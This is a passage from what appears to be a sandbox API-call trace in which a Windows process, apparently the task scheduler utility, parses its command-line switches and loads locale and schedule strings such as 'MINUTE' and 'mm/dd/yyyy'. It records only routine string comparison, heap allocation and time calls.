_Buffer="|s|") returned 3 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.050] lstrlenW (lpString="|s|") returned 3 [0111.050] lstrlenW (lpString="|f|") returned 3 [0111.050] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0111.050] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.050] lstrlenW (lpString="u") returned 1 [0111.050] lstrlenW (lpString="u") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] lstrlenW (lpString="f") returned 1 [0111.051] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|u|") returned 3 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.051] lstrlenW (lpString="|u|") returned 3 [0111.051] lstrlenW (lpString="|f|") returned 3 [0111.051] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0111.051] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.051] lstrlenW (lpString="p") returned 1 [0111.051] lstrlenW (lpString="p") returned 1 [0111.051] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] lstrlenW (lpString="f") returned 1 [0111.051] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|p|") returned 3 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.051] lstrlenW (lpString="|p|") returned 3 [0111.051] lstrlenW (lpString="|f|") returned 3 [0111.051] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0111.051] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.051] lstrlenW (lpString="ru") returned 2 [0111.051] lstrlenW (lpString="ru") returned 2 [0111.051] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] lstrlenW (lpString="f") returned 1 [0111.051] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ru|") returned 4 [0111.051] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.051] lstrlenW (lpString="|ru|") returned 4 [0111.051] lstrlenW (lpString="|f|") returned 3 [0111.051] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0111.051] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.051] lstrlenW (lpString="rp") returned 2 [0111.052] lstrlenW (lpString="rp") returned 2 [0111.052] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] lstrlenW (lpString="f") returned 1 [0111.052] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|rp|") returned 4 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.052] lstrlenW (lpString="|rp|") returned 4 [0111.052] lstrlenW (lpString="|f|") returned 3 [0111.052] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0111.052] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.052] lstrlenW (lpString="sc") returned 2 [0111.052] lstrlenW (lpString="sc") returned 2 [0111.052] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] lstrlenW (lpString="f") returned 1 [0111.052] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.052] lstrlenW (lpString="|sc|") returned 4 [0111.052] lstrlenW (lpString="|f|") returned 3 [0111.052] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0111.052] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.052] lstrlenW (lpString="mo") returned 2 [0111.052] lstrlenW (lpString="mo") returned 2 [0111.052] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] lstrlenW (lpString="f") returned 1 [0111.052] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.052] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.052] lstrlenW (lpString="|mo|") returned 4 [0111.052] lstrlenW (lpString="|f|") returned 3 [0111.052] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0111.053] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.053] lstrlenW (lpString="d") returned 1 [0111.053] lstrlenW (lpString="d") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] lstrlenW (lpString="f") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|d|") returned 3 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.053] lstrlenW (lpString="|d|") returned 3 [0111.053] lstrlenW (lpString="|f|") returned 3 [0111.053] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0111.053] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.053] lstrlenW (lpString="m") returned 1 [0111.053] lstrlenW (lpString="m") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] lstrlenW (lpString="f") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|m|") returned 3 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.053] lstrlenW (lpString="|m|") returned 3 [0111.053] lstrlenW (lpString="|f|") returned 3 [0111.053] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0111.053] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.053] lstrlenW (lpString="i") returned 1 [0111.053] lstrlenW (lpString="i") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] lstrlenW (lpString="f") returned 1 [0111.053] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|i|") returned 3 [0111.053] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.053] lstrlenW (lpString="|i|") returned 3 [0111.053] lstrlenW (lpString="|f|") returned 3 [0111.054] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0111.054] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.054] lstrlenW (lpString="tn") returned 2 [0111.054] lstrlenW (lpString="tn") returned 2 [0111.054] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] lstrlenW (lpString="f") returned 1 [0111.054] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.054] lstrlenW (lpString="|tn|") returned 4 [0111.054] lstrlenW (lpString="|f|") returned 3 [0111.054] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0111.054] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.054] lstrlenW (lpString="tr") returned 2 [0111.054] lstrlenW (lpString="tr") returned 2 [0111.054] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] lstrlenW (lpString="f") returned 1 [0111.054] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.054] lstrlenW (lpString="|tr|") returned 4 [0111.054] lstrlenW (lpString="|f|") returned 3 [0111.054] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0111.054] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.054] lstrlenW (lpString="st") returned 2 [0111.054] lstrlenW (lpString="st") returned 2 [0111.054] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] lstrlenW (lpString="f") returned 1 [0111.054] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|st|") returned 4 [0111.054] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.055] lstrlenW (lpString="|st|") returned 4 [0111.055] lstrlenW (lpString="|f|") returned 3 [0111.055] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0111.055] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.055] lstrlenW (lpString="sd") returned 2 [0111.055] lstrlenW (lpString="sd") returned 2 [0111.055] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.055] lstrlenW (lpString="f") returned 1 [0111.055] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.055] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sd|") returned 4 [0111.055] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.055] lstrlenW (lpString="|sd|") returned 4 [0111.055] lstrlenW (lpString="|f|") returned 3 [0111.055] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0111.055] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.055] lstrlenW (lpString="ed") returned 2 [0111.055] lstrlenW (lpString="ed") returned 2 [0111.055] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.055] lstrlenW (lpString="f") returned 1 [0111.055] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.055] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ed|") returned 4 [0111.055] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.055] lstrlenW (lpString="|ed|") returned 4 [0111.055] lstrlenW (lpString="|f|") returned 3 [0111.055] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0111.055] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.055] lstrlenW (lpString="it") returned 2 [0111.055] lstrlenW (lpString="it") returned 2 [0111.055] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.055] lstrlenW (lpString="f") returned 1 [0111.055] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|it|") returned 4 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.056] lstrlenW (lpString="|it|") returned 4 [0111.056] lstrlenW (lpString="|f|") returned 3 [0111.056] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0111.056] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.056] lstrlenW (lpString="et") returned 2 [0111.056] lstrlenW (lpString="et") returned 2 [0111.056] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] lstrlenW (lpString="f") returned 1 [0111.056] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|et|") returned 4 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.056] lstrlenW (lpString="|et|") returned 4 [0111.056] lstrlenW (lpString="|f|") returned 3 [0111.056] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0111.056] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.056] lstrlenW (lpString="k") returned 1 [0111.056] lstrlenW (lpString="k") returned 1 [0111.056] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|k|") returned 3 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.056] lstrlenW (lpString="|k|") returned 3 [0111.056] lstrlenW (lpString="|f|") returned 3 [0111.056] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0111.056] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.056] lstrlenW (lpString="du") returned 2 [0111.056] lstrlenW (lpString="du") returned 2 [0111.056] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.056] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|du|") returned 4 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.057] lstrlenW (lpString="|du|") returned 4 [0111.057] lstrlenW (lpString="|f|") returned 3 [0111.057] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0111.057] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.057] lstrlenW (lpString="ri") returned 2 [0111.057] lstrlenW (lpString="ri") returned 2 [0111.057] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ri|") returned 4 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.057] lstrlenW (lpString="|ri|") returned 4 [0111.057] lstrlenW (lpString="|f|") returned 3 [0111.057] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0111.057] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.057] lstrlenW (lpString="z") returned 1 [0111.057] lstrlenW (lpString="z") returned 1 [0111.057] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|z|") returned 3 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.057] lstrlenW (lpString="|z|") returned 3 [0111.057] lstrlenW (lpString="|f|") returned 3 [0111.057] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0111.057] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.057] lstrlenW (lpString="f") returned 1 [0111.057] lstrlenW (lpString="f") returned 1 [0111.057] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.057] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.057] lstrlenW (lpString="|f|") returned 3 [0111.057] lstrlenW (lpString="|f|") returned 3 [0111.058] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0111.058] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.058] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b660 [0111.058] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.058] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0111.058] lstrlenW (lpString="MINUTE") returned 6 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90a9d0 [0111.058] GetThreadLocale () returned 0x409 [0111.058] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0111.058] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x1fc) returned 0x26b6b90ac50 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b690 [0111.058] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.058] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0111.058] lstrlenW (lpString="First") returned 5 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xc) returned 0x26b6b90a990 [0111.058] GetProcessHeap () returned 0x26b6b900000 [0111.058] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b7e0 [0111.059] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.059] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0111.059] lstrlenW (lpString="Second") returned 6 [0111.059] GetProcessHeap () returned 0x26b6b900000 [0111.059] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90a8d0 [0111.059] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90ba80 [0111.097] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.097] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0111.097] lstrlenW (lpString="Third") returned 5 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xc) returned 0x26b6b90a910 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90bae0 [0111.097] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.097] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0111.097] lstrlenW (lpString="Fourth") returned 6 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90ab90 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b5a0 [0111.097] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.097] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0111.097] lstrlenW (lpString="Last") returned 4 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xa) returned 0x26b6b90aa50 [0111.097] lstrlenW (lpString="9") returned 1 [0111.097] _wtol (_String="9") returned 9 [0111.097] GetProcessHeap () returned 0x26b6b900000 [0111.097] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b450 [0111.097] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.097] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0111.097] lstrlenW (lpString="First") returned 5 [0111.098] GetProcessHeap () returned 0x26b6b900000 [0111.098] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xc) returned 0x26b6b90aab0 [0111.098] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.098] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0111.098] lstrlenW (lpString="Second") returned 6 [0111.098] GetProcessHeap () returned 0x26b6b900000 [0111.098] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90ab30 [0111.098] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.098] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0111.098] lstrlenW (lpString="Third") returned 5 [0111.098] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.098] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0111.098] lstrlenW (lpString="Fourth") returned 6 [0111.098] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.098] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0111.098] lstrlenW (lpString="Last") returned 4 [0111.098] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x908fddbf50, cchData=128 | out: lpLCData="0") returned 2 [0111.098] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.098] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0111.098] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0111.098] GetProcessHeap () returned 0x26b6b900000 [0111.098] GetProcessHeap () returned 0x26b6b900000 [0111.098] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a990) returned 1 [0111.098] GetProcessHeap () returned 0x26b6b900000 [0111.098] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a990) returned 0xc [0111.099] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a990) returned 1 [0111.099] GetProcessHeap () returned 0x26b6b900000 [0111.099] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x16) returned 0x26b6b90a8f0 [0111.099] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x908fddbf70, cchData=128 | out: lpLCData="0") returned 2 [0111.099] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.099] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0111.099] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0111.099] GetProcessHeap () returned 0x26b6b900000 [0111.099] GetProcessHeap () returned 0x26b6b900000 [0111.099] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a8d0) returned 1 [0111.099] GetProcessHeap () returned 0x26b6b900000 [0111.099] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a8d0) returned 0xe [0111.099] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a8d0) returned 1 [0111.099] GetProcessHeap () returned 0x26b6b900000 [0111.099] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x16) returned 0x26b6b90abb0 [0111.099] GetLocalTime (in: lpSystemTime=0x908fddc1a8 | out: 